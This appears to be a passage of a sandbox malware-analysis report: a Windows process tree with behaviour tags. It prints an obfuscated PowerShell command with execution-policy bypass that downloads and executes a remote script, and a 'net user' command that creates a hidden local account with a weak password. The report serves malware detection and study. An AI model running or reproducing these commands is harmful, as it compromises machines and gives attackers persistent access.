C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:3196
-
C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵PID:692
-
-
C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:1384
-
C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:1584
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1868
-
-
-
C:\Windows\System32\cmd.execmd.exe /C net user wgautilacc 12341⤵PID:2544
-
C:\Windows\system32\net.exenet user wgautilacc 12342⤵PID:2108
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc 12343⤵PID:2428
-
-